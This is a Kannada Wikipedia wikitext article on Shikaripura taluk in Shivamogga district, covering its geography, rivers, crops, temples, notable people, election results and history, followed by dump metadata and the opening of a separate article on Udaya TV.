ತಾಲ್ಲೂಕು ಮಲೆನಾಡು ಮತ್ತು ಮೈದಾನಗಳ ಮಧ್ಯ ಪ್ರದೇಶ ದಲ್ಲಿರುವುದರಿಂದ ತಾಲ್ಲೂಕಿನ ಪಶ್ಚಿಮ ಭಾಗದಲ್ಲಿ ದಟ್ಟ ಕಾಡುಗಳೂ ಪೂರ್ವದ ಕಡೆ ತೆಳುವಾದ ಕುರುಚಲು ಕಾಡೂ ಕಾಡು ಬರುತ್ತದೆ. ಇಲ್ಲಿನ ಕಾಡುಗಳಲ್ಲಿ ಮತ್ತಿ, ಹೊನ್ನೆ, ನಂದಿ, ಬಿಲ್ವಾರ, ತಾರೆ, ಕಣಿಗಲು, ಶ್ರೀಗಂಧ, ಬೇವು, ದಿಂಡಿಗ, ಅಳಲೆ, ಹೊಂಗೆ, ಜಾಲಿ, ಕಾರೆ ಇತ್ಯಾದಿ ಮರಗಿಡಗಳಿವೆ. ತಾಲ್ಲೂಕಿನ ಅರಣ್ಯ ಪ್ರದೇಶ 17,417 ಹೆಕ್ಟೇರ್. ಈ ತಾಲ್ಲೂಕಿನಲ್ಲಿ ವಾರ್ಷಿಕ ಮಳೆ 1,117.51 ಮಿಮೀ. ಜೂನ್‍ನಿಂದ ಅಕ್ಟೋಬರ್ ಹೆಚ್ಚು ಮಳೆ ಬೀಳುವ ಕಾಲ. ಕುಮುದ್ವತಿ ಈ ತಾಲ್ಲೂಕಿನ ಮುಖ್ಯ ನದಿ. ಹುಮಚದ ಹತ್ತಿರ ಅಗಸ್ತ್ಯ ಪರ್ವತದಲ್ಲಿ (ಬಿಲೇಶ್ವರಬೆಟ್ಟ) ಹುಟ್ಟಿ ಉತ್ತರಾಭಿಮುಖವಾಗಿ ಹೊಸನಗರ ತಾಲ್ಲೂಕಿನ ಈಶಾನ್ಯ ಭಾಗದಲ್ಲಿ ಹರಿದು, ಮುಂದೆ ಶಿವಮೊಗ್ಗ ತಾಲ್ಲೂಕಿನ ಕುಂಸಿ ಮೂಲಕ ಶಿಕಾರಿಪುರ ತಾಲ್ಲೂಕನ್ನು ದಕ್ಷಿಣದಲ್ಲಿ ಪ್ರವೇಶಿಸಿ, ಅಂಜನಪುರ ಜಲಾಶಯಕ್ಕೆ ನೀರೊದಗಿಸಿ, ಮುಂದೆ ಶಿಕಾರಿಪುರ ವನ್ನು ಬಳಸಿಕೊಂಡು ತಾಲ್ಲೂಕು ಮತ್ತು ಜಿಲ್ಲೆಯ ಎಲ್ಲೆಯಲ್ಲಿರುವ ಮದಗದ ಕೆರೆಗೆ ಜಲಾಶ್ರಯ ನೀಡಿ ಮುಂದುವರಿದು ತುಂಗಭದ್ರಾ ನದಿಯನ್ನು ಸೇರುತ್ತದೆ. ಈ ನದಿಗೆ ಚೊರಾಡಿ ನದಿ ಎಂದೂ ಹೆಸರಿದೆ. ತಾಲ್ಲೂಕಿನಲ್ಲಿ ಇದರ ಒಟ್ಟು ಹರಿವಿನ ಉದ್ದ 17.7 ಕಿಮೀ. ತಾಲ್ಲೂಕಿನಲ್ಲಿ ಅಂಜನಪುರ ಜಲಾಶಯದಿಂದ ಕುಮುದ್ವತಿ ನದಿಯ ಉಪನದಿ ಸಾಲೂರು ಹಳ್ಳಕ್ಕೆ ಅಡ್ಡಲಾಗಿ ಕಟ್ಟಿರುವ ಅಂಬ್ಲಿಗೋಳ ಜಲಾಶಯದಿಂದಲೂ ತಾಲ್ಲೂಕಿನ ಅಂಚಿನಲ್ಲಿರುವ ಮದಗದ ಕೆರೆಯಿಂದಲೂ ನೀರಾವರಿಗೆ ನೀರೊದಗುವುದು. ಈ ತಾಲ್ಲೂಕಿನಲ್ಲಿ ಬತ್ತ, ರಾಗಿ, ಕಬ್ಬು, ಹತ್ತಿ, ನೆಲಗಡಲೆ ಬೆಳೆಯುವರು. ಅಡಕೆ ಮತ್ತು ತೆಂಗು ತೋಟದ ಬೆಳೆಗಳು. ಇತ್ತೀಚೆಗೆ ವೆನಿಲಾ ಬೆಳೆಸುತ್ತಿದ್ದಾರೆ. ಗೇರುಬೀಜ, ಮೆಣಸಿನಕಾಯಿ, ವಿವಿಧ ಬಗೆಯ ಹಣ್ಣು ಮತ್ತು ತರಕಾರಿಗಳನ್ನು ಬೆಳೆಯುತ್ತಾರೆ. ಜೊತೆಗೆ ಅವರೆ, ಹೆಸರು, ತೊಗರಿ ಮುಂತಾದ ದ್ವಿದಳಧಾನ್ಯಗಳನ್ನೂ ಬೆಳೆಯುವುದುಂಟು. ಸಸ್ಯಸಮೃದ್ಧಿಯೊಂದಿಗೆ ಈ ತಾಲ್ಲೂಕಿನಲ್ಲಿ ಪಶುಸಂಪತ್ತೂ ಸಾಕಷ್ಟು ಇದೆ. ಸ್ವಲ್ಪಮಟ್ಟಿಗೆ ಮತ್ಸ್ಯೋದ್ಯಮವಿದೆ. ಮರಕೊಯ್ಯುವುದು, ಹೆಂಚಿನ ತಯಾರಿಕೆ, ಎಣ್ಣೆ ತೆಗೆಯುವುದು ಇವು ಈ ತಾಲ್ಲೂಕಿನ ಮುಖ್ಯ ಉದ್ಯಮಗಳು. ಬಿದಿರು, ಚರ್ಮ, ಕಬ್ಬಿಣ ಕೈಗಾರಿಕೆಗಳೂ ಉಂಟು. ಶಿಕಾರಿಪುರದ ಬಳಿ ಇರುವ ಮತ್ತೊಂದು ಗ್ರಾಮ [[ಕಾಗಿನಲೆ]], ಇದು [[ಶಿಕಾರಿಪುರ]]-[[ಹೊನ್ನಾಳಿ]] ರಸ್ತೆಯಲ್ಲಿ ೧೫ ಕಿ.ಮೀ. ದೊರದಲ್ಲಿದೆ. ‍ಈ ತಾಲ್ಲೂಕಿನ ಅಂಜನಪುರದ ಬಳಿ ಕಟ್ಟಿರುವ ಜಲಾಶಯ ಶಿಕಾರಿಪುರದ ದಕ್ಷಿಣಕ್ಕೆ 18 ಕಿಮೀ ದೂರದಲ್ಲೂ ಶಿವಮೊಗ್ಗಕ್ಕೆ ವಾಯವ್ಯದಲ್ಲಿ 44 ಕಿಮೀ ದೂರದಲ್ಲಿ ಇದೆ. ಇಲ್ಲಿ ಮಾರಮ್ಮ ಮತ್ತು ಆಂಜನೇಯ ದೇವಾಲಯಗಳಿವೆ. ಪ್ರಕೃತಿಸೌಂದರ್ಯಕ್ಕೆ ಈ ಸ್ಥಳ ಪ್ರಸಿದ್ಧ. ಶಿಕಾರಿಪುರದ ವಾಯವ್ಯದಲ್ಲಿ 19 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ಶಿರಾಳಕೊಪ್ಪ ಒಂದು ಪಟ್ಟಣ. ಸಾಗರ, ಸೊರಬ ಮತ್ತು ಸುತ್ತಲ ಬಳ್ಳಾರಿ, ಧಾರವಾಡ, ಉತ್ತರ ಮತ್ತು ದಕ್ಷಿಣ ಕನ್ನಡ ಜಿಲ್ಲಾ ಪ್ರದೇಶಗಳಿಗೆ ಇದೊಂದು ಮುಖ್ಯ ಸಂಪರ್ಕ ಮಾರ್ಗ ಮತ್ತು ವ್ಯಾಪಾರಕೇಂದ್ರ ಶಿಕಾರಿಪುರ ಈ ತಾಲ್ಲೂಕಿನ ಆಡಳಿತ ಕೇಂದ್ರ ಹಾಗೂ ಪಟ್ಟಣ. ಜನಸಂಖ್ಯೆ 46,009. ==ಪ್ರಮುಖ ದೇವಸ್ಠಾನಗಳು== '''ಶ್ರೀ ಹುಚ್ಚರಾಯ ಸ್ವಾಮಿ ದೇವಸ್ಥಾನ-ಶಿಕಾರಿಪುರ''' ಇದೊಂದು ಪ್ರಾಚೀನ ದೇಗುಲ. ಶ್ರೀ ರಾಮದೂತ ಹನುಮಂತ ಹುಚ್ಚುರಾಯನೆಂದು (ಸಂಸ್ಕೃತದಲ್ಲಿ ಭ್ರಾಂತೇಶ) ಇಲ್ಲಿ ಕರೆಯಲ್ಪಡುವನು. ಈತನೇ ಶಿಕಾರಿಪುರದ ಗ್ರಾಮದೇವತೆ, ದೇಗುಲದ ಮುಖ್ಯದೇವ. ಇಲ್ಲಿ ಸೀತಾ-ಲಕ್ಷ್ಮಣರ ಸಹಿತ ಶ್ರೀರಾಮನ ವಿಗ್ರಹಗಳೂ ಇವೆ. ದೇಗುಲ ಸಮೀಪವೇ ಇರುವ ಕೆರೆಯಲ್ಲಿ ಈಗ ಪೂಜಿಸಲ್ಪಡುತ್ತಿರುವ ಮೂರ್ತಿ ಮುಳುಗಿತ್ತೆಂದೂ, ಭಕ್ತನೋರ್ವನ ಕನಸಿನಲ್ಲಿ ಶ್ರೀ ದೇವರು ಕಾಣಿಸಿಕೊಂಡು ತನ್ನ ಇರುವಿಕೆಯನ್ನು ತಿಳಿಸಿದ ನಂತರ ದೇಗುಲದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತೆಂದೂ ಪ್ರತೀತಿಯಿದೆ. ಮೈಸೂರಿನ ಆಡಳಿತಗಾರ ಟೀಪು ಸುಲ್ತಾನನು ಶ್ರೀ ಹುಚ್ಚೂರಾಯನಿಗೆ ಬಂಗಾರದ ಬಾಸಿಂಗವೇ ಮೊದಲಾದ ಆಭರಣಗಳನ್ನು ನೀಡಿದನೆಂಬ ಇತಿಹಾಸವಿದೆ. ಪ್ರತಿವರ್ಷವೂ ಜರುಗುವ ಜಾತ್ರೆಯು ಬಹುಪ್ರಸಿದ್ಧವಾಗಿದ್ದು, ಸಾವಿರಾರು ಜನ ಆಗ ದೇವರ ದರ್ಶನ ಪಡೆಯುತ್ತಾರೆ. ದೇಗುಲದ ಮುಂದೆ ಹಾದು ಹೋಗುವ ಬೀದಿಯಲ್ಲಿ ಶ್ರೀ ದೇವರನ್ನು ರಥದಲ್ಲಿ ಕೊಂಡು ಹೋಗುವರು. ಈ ರಸ್ತೆಗೆ ಈ ಕಾರಣದಿಂದ ರಥಬೀದಿ ಎಂಬ ಹೆಸರಿದೆ. ಇತ್ತೀಚೆಗಷ್ಟೆ ದೇಗುಲದ ಜೀರ್ಣೋದ್ಧಾರ ನಡೆಯುತ್ತಿದ್ದು, ಪ್ರವೇಶದ್ವಾರದ ಮೇಲೆ ಗದೆ ಹಿಡಿದು ಮೊಣಕಾಲೂರಿ ಕುಳಿತಿರುವ ಮಾರುತಿಯ ಸುಂದರ ವಿಗ್ರಹವನ್ನು ನಿರ್ಮಿಸಲಾಗಿದೆ. ಶಿಕಾರಿಪುರ ಶಿವಮೊಗ್ಗ ಜಿಲ್ಲೆಯ ಒಂದು ಅಭಿವೃದ್ಧಿಯಾದ ತಾಲ್ಲುಕು ಹಾಗು ಇದನ್ನು ಈ ಜಿಲ್ಲೆಯ ಭತ್ತದ ಕಣಜ ಎಂದೆ ಕರೆಯಲಾಗುತ್ತದೆ ಅತಿ ಹೆಚ್ಚು ಭತ್ತ ಬೆಳೆಯುವ ತಾಲ್ಲುಕು. ಮುಖ್ಯವಾಗಿ ಶಿಕಾರಿಪುರದಿಂದ ೨೩ ಕಿಲೊಮೀಟರ್ ದೂರದಲ್ಲಿ ಬಳ್ಳಿಗಾವಿ ಎನ್ನುವ ಸ್ಥಳವಿದ್ದು ಗತಕಾಲದ ವೈಭವವನ್ನು ಸಾರುತ್ತದೆ.ಈ ಪ್ರದೇಶವು ಹೊಯ್ಸಳರ ಆಳ್ವಿಕೆಯನ್ನು ಕಂಡಿದ್ದು ಕೆಲ ದೇವಸ್ಥಾನಗಳು ಹೊಯ್ಸಳ ಶೈಲಿಯ ಕಟ್ಟಡವನ್ನು ಹೊಂದಿರುತ್ತವೆ ಹಾಗು ಈ ಸ್ಥಳ ನಾಟ್ಯರಾಣಿ ಶಾಂತಲೆಯ ತವರೂರಾಗಿದೆ. ಇಲ್ಲಿ ಕೇದಾರೇಶ್ವರ,ಅಮರನಾಥೇಶ್ವರ ಹಾಗು ಇನ್ನಿತರ ಪ್ರಸಿದ್ಧ ದೇವಸ್ಥಾನಗಳು ಇವೆ. ==ಶ್ರೀ ದತ್ತಮಂದಿರ== ಇದನ್ನು ಶ್ರೀ ಕೇವಲಾನಂದರೆಂಬ ಸಂನ್ಯಾಸಿಗಳು ೭೦ರ ದಶಕದಲ್ಲಿ ಸ್ಥಾಪಿಸಿದರು. ಹುಚ್ಚುರಾಯನ ಕೆರೆಯ ದಂಡೆಯಲ್ಲಿದೆ. ಇದೊಂದು ದತ್ತ ಪರಂಪರೆಗೆ ಸೇರಿದ ಆಶ್ರಮ. ಇಲ್ಲಿ ಶ್ರೀ ಶಾರದೆ, ಶ್ರೀ ಶಂಕರಾಚಾರ್ಯ ಹಾಗು ಶ್ರೀ ದತ್ತಾತ್ರೇಯನ ಬಿಳಿಶಿಲೆಯ ವಿಗ್ರಹಗಳಿವೆ ಮತ್ತು ಸ್ವಾಮಿಗಳ ಸಮಾಧಿ ಮಂದಿರವಿದೆ. ==ಮುಖ್ಯ ಸ್ಥಳಗಳು== [[ಉಡುಗಣಿ]]-ಅಕ್ಕಮಹಾದೇವಿಯ ಜನ್ಮಸ್ಥಳ-ಹಾಗೂ [[ಶ್ರೀ ರಾಘವೇಂದ್ರ ಸ್ವಾಮಿ]]ಗಳ ವೃಂದಾವನ ಇದೆ.ಹಾಗೂ ತೋಗರ್ಸಿ ಮಲ್ಲಿಕಾರ್ಜುನ ದೇವಸ್ಥಾನಗಳು ಇವೆ. ==ಈ ಭಾಗದ ಪ್ರಮುಖ ವ್ಯಕ್ತಿಗಳು== ಮಯೂರ ಶರ್ಮ * ಅನುಭಾವಿ ಅಲ್ಲಮಪ್ರಭು * ಶರಣೆ ಅಕ್ಕಮಹಾದೇವಿ * ರಾಷ್ಟ್ರಕವಿ [[ಜಿ.ಎಸ್. ಶಿವರುದ್ರಪ್ಪ]]-ಜನ್ಮಸ್ಥಳ * [[ಬಿ.ಎಸ್. ಯಡಿಯೂರಪ್ಪ]], ಸನ್ಮಾನ್ಯ ಮುಖ್ಯಮಂತ್ರಿ, ಕರ್ನಾಟಕ ಸರ್ಕಾರ- ಇವರ ವಿಧಾನ ಸಭಾಕ್ಷೇತ್ರ * ಎಸ್.ಆರ್. ರಾವ್, ಹರಪ್ಪಾ-ಮೊಹಂಜೊದಾರೊ ಖ್ಯಾತಿಯ ಪುರಾತತ್ವ ಶಾಸ್ತ್ರ ತಜ್ಞರು * ದಿವಂಗತ ಶ್ರೀ ಶಿಕಾರಿಪುರ ಹರಿಹರೇಶ್ವರ, ಅಮೆರಿಕದಲ್ಲಿ ೩೭ ವರ್ಷದುಡಿದು, ಅಲ್ಲಿನ ಕನ್ನಡಜನರ ಮನಸ್ಸನ್ನು ಒಂದುಗೂಡಿಸಿ, ಕನ್ನಡಪರ ಚಟುವಟಿಕೆಗಳನ್ನು ಪ್ರಾರಂಭಿಸಿದರು. ತಮ್ಮ ನಿವೃತ್ತಿಯ ಬಳಿಕ, ಮೈಸೂರಿನಲ್ಲಿ ವಾಸ್ತವ್ಯಹೂಡಿ ಅನವರತ ಕನ್ನಡಕ್ಕಾಗಿ ದುಡಿದ ಕನ್ನಡದ ಪರಿಚಾರಕ. *ಅನುಭಾವ ಮಂಟಪದ ವಚನಕಾರರಾದ ಸತ್ಯಕ್ಕ, ಮುಕ್ತಾಯಕ್ಕ, ಅಜಗಣ್ಣ, ಇಕ್ಕದ ಮಾರಯ್ಯ, ಅಂಕದ ಮಾರಯ್ಯ ಇವರೆಲ್ಲಾ ಈ ತಾಲ್ಲೂಕಿನವರೆ * ಹೆಚ್.ಎಸ್ ಶಾಂತವೀರಪ್ಪಗೌಡ , ಮಾಜಿ ವಿಧಾನಪರಿ‍‍‍ಷತ್ ಸದಸ್ಯರು. == ರಾಜಕೀಯ == * 1952-1957 ರ ಚುನಾವಣೆಯಲ್ಲಿ ಶಿಕಾರಿಪುರ ತಾಲ್ಲೂಕು ಸೊರಬ ತಾಲ್ಲೂಕಿನಲ್ಲಿ ಸೇರಿತ್ತು. * 1962- ರ ಚುನಾವಣೆಯಲ್ಲಿ ವೀರಪ್ಪ ಕಾಂಗ್ರೆಸನಿಂದ ಗೆಲವು-ಮೀಸಲು ಕ್ಷೇತ್ರ. * 1967- ರಲ್ಲಿ ಜಿ.ಬಸವಣ್ಯಪ್ಪ ಸಂಯುಕ್ತ ಸೋಸಿಯಲಿಸ್ಟ ಪಾರ್ಟಿ,21241ಅಂತರದಿಂದ ಗೆಲುವು. * 1972,1978ರಲ್ಲಿ ಎರಡೂ ಬಾರಿ ಕೆ.ವೆಂಕಟಪ್ಪಗೆಲವು. * 1983 - ಬಿ.ಎಸ್.ಯಡಿಯೂರಪ್ಪ ಬಿಜೆಪಿಯಿಂದ ಗೆಲುವು. * 1985 - ಬಿ.ಎಸ್.ಯಡಿಯೂರಪ್ಪ ಬಿಜೆಪಿಯಿಂದ ಗೆಲುವು. * 1989 - ಬಿ.ಎಸ್.ಯಡಿಯೂರಪ್ಪ ಬಿಜೆಪಿಯಿಂದ ಗೆಲುವು. * 1994 - ಬಿ.ಎಸ್.ಯಡಿಯೂರಪ್ಪ ಬಿಜೆಪಿಯಿಂದ ಗೆಲುವು. * 1999 - ಬ.ಎನ್.ಮಹಾಲಿಂಗಪ್ಪ ಕಾಂಗ್ರೆಸಿನಿಂದ ಗೆಲುವು. * 2004 - ಬಿ.ಎಸ್.ಯಡಿಯೂರಪ್ಪ ಬಿಜೆಪಿಯಿಂದ ಗೆಲುವು. * 2008 - ಬಿ.ಎಸ್.ಯಡಿಯೂರಪ್ಪ ಬಿಜೆಪಿಯಿಂದ ಗೆಲುವು. * 2013 - ಬಿ.ಎಸ್.ಯಡಿಯೂರಪ್ಪ ಕೆಜೆಪಿಯಿಂದ ಗೆಲವು. * 2014 - ಬಿ.ವೈ.ರಾಘವೇಂದ್ರ ಬಿಜೆಪಿಯಿಂದ ಗೆಲವು. * 2018 - ಬಿ.ಎಸ್.ಯಡಿಯೂರಪ್ಪ ಬಿಜೆಪಿಯಿಂದ ಗೆಲವು. ==ಚರಿತ್ರೆ== ಶಿಕಾರಿಪುರದ ಉತ್ತರಕ್ಕೆ 35 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ಬಂದಳಿಕೆ ಕದಂಬ ರಾಜರ ಆಳಿಕೆಯಲ್ಲಿ ಒಂದು ಮುಖ್ಯಪಟ್ಟಣವಾಗಿತ್ತು. ಇಲ್ಲಿ ರಾಷ್ಟ್ರಕೂಟ, ಚಳುಕ್ಯ, ಕಳಚುರಿ, ಹೊಯ್ಸಳ, ಸೇವುಣ ಮತ್ತು ವಿಜಯನಗರ ರಾಜರ 30ಕ್ಕೂ ಮಿಕ್ಕು ಶಾಸನಗಳಿವೆ. ಶಾಂತಿನಾಥ ಬಸದಿ, ವೀರಭದ್ರ, ಸೋಮೇಶ್ವರ, ತ್ರಿಮೂರ್ತಿ ಮತ್ತು ಬನಶಂಕರಿ ಮುಂತಾದ ದೇವಾಲಯಗಳಿವೆ. ಶಿಕಾರಿಪುರಕ್ಕೆ ಈಶಾನ್ಯದಲ್ಲಿ 8 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ಬೇಗೂರಿನಲ್ಲಿ ಅನೇಕ ಶಾಸನಗಳು ದೊರಕಿವೆ. ಶಿಕಾರಿಪುರಕ್ಕೆ ವಾಯವ್ಯದಲ್ಲಿ 21 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ಬೆಳಗಾವಿಯನ್ನು ಹಿಂದೆ ಬಳ್ಳಿಗಾವೆ, ಬಳ್ಳಿಗಾಮೆ, ಬಳ್ಳಿಗ್ರಾಮ, ಬಳ್ಳಿಪುರ ಎಂಬುದಾಗಿ ಕರೆಯುತ್ತಿದ್ದರೆಂದು ತಿಳಿದುಬಂದಿದೆ. ಬೆಳಗಾವಿ ಹಿಂದೆ ಧರ್ಮ ಮತ್ತು ವಿದ್ಯಾಕೇಂದ್ರವಾಗಿತ್ತು; ದಕ್ಷಿಣದ ಕೇದಾರ ಎಂದು ಪ್ರಸಿದ್ಧವಾಗಿತ್ತು. ವೀರಶೈವ ಧರ್ಮದ ಕೇಂದ್ರವಾಗಿದ್ದ ಇಲ್ಲಿ ಅನೇಕ ದೇವಾಲಯಗಳಿವೆ. ಶಿಕಾರಿಪುರಕ್ಕೆ ವಾಯವ್ಯದಲ್ಲಿ ಸು.26 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ಹೀರೇಜಂಬೂರು ಅನೇಕ ಶಿವಶರಣರ ಸ್ಥಳವೆಂದು ಪ್ರಸಿದ್ಧ. ಶಿಕಾರಿಪುರದ ದಕ್ಷಿಣಕ್ಕೆ 10 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ಈಸೂರು ಭಾರತ ಸ್ವಾತಂತ್ರ್ಯ ಸಂಗ್ರಾಮದಲ್ಲಿ ಇತಿಹಾಸ ಸೃಷ್ಟಿಸಿದ ಊರು. ಶಿಕಾರಿಪುರಕ್ಕೆ ವಾಯವ್ಯದಲ್ಲಿ 37 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ಮಳವಳ್ಳಿಯಲ್ಲಿ ಎರಡು ಪ್ರಾಕೃತ ಶಾಸನಗಳಿವೆ. ಇಲ್ಲಿನ ರಾಮೇಶ್ವರ ದೇವಾಲಯದ ಮುಂಭಾಗದಲ್ಲಿ ಕೆಲವು ಚಾಳುಕ್ಯ ಶಾಸನಗಳಿವೆ. ಶಿಕಾರಿಪುರದ ವಾಯವ್ಯಕ್ಕೆ ಸುಮಾರು 26 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ಮುತ್ತಿಗೆ ಗ್ರಾಮದಲ್ಲಿ ಅಜಗಣ್ಣ ಮತ್ತು ಮುಕ್ತಾಯಕ್ಕ ಈ ಶಿವಶರಣ-ಶರಣೆಯರ ಸಮಾಧಿಗಳೂ ಸಿದ್ಧರಾಮೇಶ್ವರ ದೇವಾಲಯವೂ ಅನೇಕ ವೀರಗಲ್ಲುಗಳೂ ಇವೆ. ಶಿಕಾರಿಪುರದ ವಾಯವ್ಯದಲ್ಲಿ ಸು. 22 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ಶಿವಪುರದಲ್ಲಿ ಸಂತ ಬಂಕಯ್ಯನ ಸಮಾಧಿಯಿದೆ. ಶಿಕಾರಿಪುರದ ವಾಯವ್ಯಕ್ಕೆ ಸು. 19 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ತಡಗಣಿಯಲ್ಲಿ ಕೇದಾರೇಶ್ವರ ದೇವಾಲಯವಿದೆ. ತಡಗಣಿ ಮತ್ತು ಉಡುತಡಿ ಗ್ರಾಮಗಳ ಮಧ್ಯೆ ಮಲ್ಲಿಕಾರ್ಜುನ ದೇವಾಲಯವಿದೆ. ಶಿಕಾರಿಪುರಕ್ಕೆ ವಾಯವ್ಯದಲ್ಲಿ 24 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ತಾಳಗುಂದದಲ್ಲಿ ಗಂಗಾಧರೇಶ್ವರ ದೇವಾಲಯ ಮತ್ತು ಪ್ರಭುದೇವರ ಗದ್ದುಗೆ ಇದೆ. ಶಿಕಾರಿಪುರಕ್ಕೆ ವಾಯವ್ಯದಲ್ಲಿ ಸು. 29 ಕಿಮೀ ದೂರದಲ್ಲಿರುವ ತೊಗರ್ಸಿಯಲ್ಲಿ ಪ್ರಸಿದ್ಧ ಮಲ್ಲಿಕಾರ್ಜುನ ದೇವಾಲಯವಿದೆ. ಈ ದೇವಾಲಯ ಕೆಳದಿ ನಾಯಕರ ಕಾಲಕ್ಕೆ ಸೇರಿದ್ದೆಂದು ಹೇಳುವರು. ಶಿಕಾರಿಪುರದ ವಾಯವ್ಯದಲ್ಲಿ 14 ಕಿಮೀ ದೂರದಲ್ಲಿ ಉಡುತಡಿ ಗ್ರಾಮವಿದೆ. ಇದು ಅಕ್ಕಮಹಾದೇವಿಯ ಜನ್ಮಸ್ಥಳ ವೆಂದು ಪ್ರಸಿದ್ಧ. ಇಲ್ಲಿ ಗುರುಲಿಂಗ ಚನ್ನಮಲ್ಲಿಕಾರ್ಜುನ ಮಠ, ಚನ್ನಮಲ್ಲಿ ಕಾರ್ಜುನ ದೇವಾಲಯ, 1973ರಲ್ಲಿ ಕಟ್ಟಿರುವ ಅಕ್ಕಮಹಾದೇವಿ ದೇವಾಲಯ ಇವೆ. ಮದಗದ ಕೆರೆ ಮತ್ತು ಅಂಜನಪುರ ಜಲಾಶಯ ಪ್ರದೇಶಗಳು ರಮಣೀಯ ದೃಶ್ಯಗಳಿಂದ ಕೂಡಿವೆ. ಈ ಪಟ್ಟಣವನ್ನು ಮಳೆಯ ಎಂಬವನು ಸ್ಥಾಪಿಸಿದುದರಿಂದ ಇದನ್ನು ಮಳಿಯನ್ ಹಳ್ಳಿ ಅಥವಾ ಮಳೇನಹಳ್ಳಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು. ಅನಂತರ ಕೆಳದಿ ಅರಸರ ಕಾಲದಲ್ಲಿ ಈ ಊರಿಗೆ ಮಹಾದಾನಪುರವೆಂಬ ಹೆಸರು ಬಂತೆಂದೂ ಕಾಡುಪ್ರಾಣಿಗಳ ಶಿಕಾರಿಗೆ ಉತ್ತಮ ಸ್ಥಳವಾಗಿದ್ದು ದರಿಂದ ಹೈದರ್ ಮತ್ತು ಟಿಪ್ಪುಸುಲ್ತಾನರ ಕಾಲದಲ್ಲಿ ಇದಕ್ಕೆ ಶಿಕಾರಿಪುರ ವೆಂಬ ಹೆಸರು ಬಂದಿತೆಂದೂ ಪ್ರತೀತಿ. ಇಲ್ಲಿ ಒಂದು ಹಳೆಯ ಕೋಟೆ ಮತ್ತು ವೀರಾಂಜನೇಯನ ಭವ್ಯಮೂರ್ತಿ ಇರುವ ಹುಚ್ಚರಾಯಸ್ವಾಮಿ ದೇವಾಲಯವಿದೆ. ಈ ದೇವಾಲಯದ ಕಂಬಗಳು ದ್ರಾವಿಡ ಮತ್ತು ಹೊಯ್ಸಳ ಶೈಲಿಯಲ್ಲಿವೆ. ಕೈಸಾಲೆಯಲ್ಲಿರುವ ದೇವಾಲಯದ ಹಳೆಯ ವಿಗ್ರಹಕ್ಕೆ ಬೆಳ್ಳಿ ಕಿರೀಟವಿದ್ದು ಅದರಲ್ಲಿ ಕಂಠೀರವ ನರಸರಾಜ ಒಡೆಯರ್ (1638-59) ಎಂಬ ನಾಮಾಂಕಿತವಿದೆ. ಬ್ರಿಟಿಷರ ವಿರುದ್ಧ ಹೋರಾಡಿದ ಧೋಂಡಿಯ ವಾಘನದೆಂದು ಹೇಳುವ ಇಬ್ಬಾಯ ಕತ್ತಿ ಈ ದೇವಾಲಯ ದಲ್ಲಿದೆ. ಇಲ್ಲಿ ಅನೇಕ ಶಾಸನಗಳೂ ವೀರಗಲ್ಲುಗಳೂ ಇವೆ. ಪುರುಷ ರಂತೆ ಸ್ತ್ರೀಯರೂ ಶತ್ರುಗಳೊಡನೆ ಹೋರಾಡಿದ ವಿಷಯವನ್ನು ಕುರಿತಂತೆ ಹರಿಯಕ್ಕ ಎಂಬವಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಶಾಸನವೊಂದು ಇದೆ. ವ್ಯಾಪಾರ ಕೇಂದ್ರವಾಗಿರುವ ಈ ಪಟ್ಟಣ ಪುರಸಭಾ ಆಡಳಿತಕ್ಕೆ ಸೇರಿದೆ. ಶಿಕಾರಿಪುರದ ಬಳಿ ಇರುವ [[ಈಸೂರು]] ಗ್ರಾಮ ಸ್ವಾತಂತ್ರ ಹೊರಾಟಕ್ಕೆ ಪ್ರಸಿದ್ದಿ. ==ನೋಡಿ== *[[ಶಿವಮೊಗ್ಗ]]—ತಾಲ್ಲೂಕುಗಳ ಜನಸಂಖ್ಯೆ & ಇತರೆ ವಿವರ * {{wikisource|ಮೈಸೂರು ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ವಿಶ್ವಕೋಶ/ಶಿಕಾರಿಪುರ}} {{ಕರ್ನಾಟಕದ ಜಿಲ್ಲೆಗಳು}} [[ವರ್ಗ:ಭೂಗೋಳ]] [[ವರ್ಗ:ಕರ್ನಾಟಕದ ಪ್ರಮುಖ ಸ್ಥಳಗಳು]] [[ವರ್ಗ:ಶಿವಮೊಗ್ಗ ಜಿಲ್ಲೆಯ ತಾಲೂಕುಗಳು]] caarzzcwrruq147u124rrnbb40yosb9 ಉದಯ ಟಿ.ವಿ 0 8353 1116610 1053546 2022-08-24T09:23:43Z Ishqyk 76644 wikitext text/x-wiki [[ಚಿತ್ರ:Udaya.gif|thumb|300px|ಉದಯ ಟಿವಿ ಲಾಂಛನ]] '''ಉದಯ ಟಿವಿ''' - [[ಕನ್ನಡ]]ದ ಪ್ರಮುಖ ಖಾಸಗಿ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳಲ್ಲೊಂದು. [[ತಮಿಳು|ತಮಿಳಿನ]] [[ಸನ್ ಟಿವಿ]], [[ಮಲಯಾಳಂ|ಮಲಯಾಳಂನ]] [[ಸೂರ್ಯ ಟಿವಿ]], [[ತೆಲುಗು|ತೆಲುಗಿನ]] [[ತೇಜ ಟಿವಿ]] ವಾಹಿನಿಗಳ ಸಹಯೋಗದೊಂದಿಗೆ ಉದಯ ಟಿವಿ ವಾಹಿನಿಯು ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಿದೆ. ಇದೇ ವಾಹಿನಿಯ [[ಕನ್ನಡ]]ದ ಮತ್ತೊಂದು ಅವರಣಿಕೆ, [[ಚಲನಚಿತ್ರ]] ಪ್ರಸಾರಕ್ಕೆ ಮತ್ತು ಚಿತ್ರಗೀತೆಗಳ ಪ್ರಸಾರಕ್ಕೆ ಹೆಚ್ಚಿನ ಒತ್ತುಕೊಟ್ಟ [[ಉಷೆ ಟಿವಿ]] 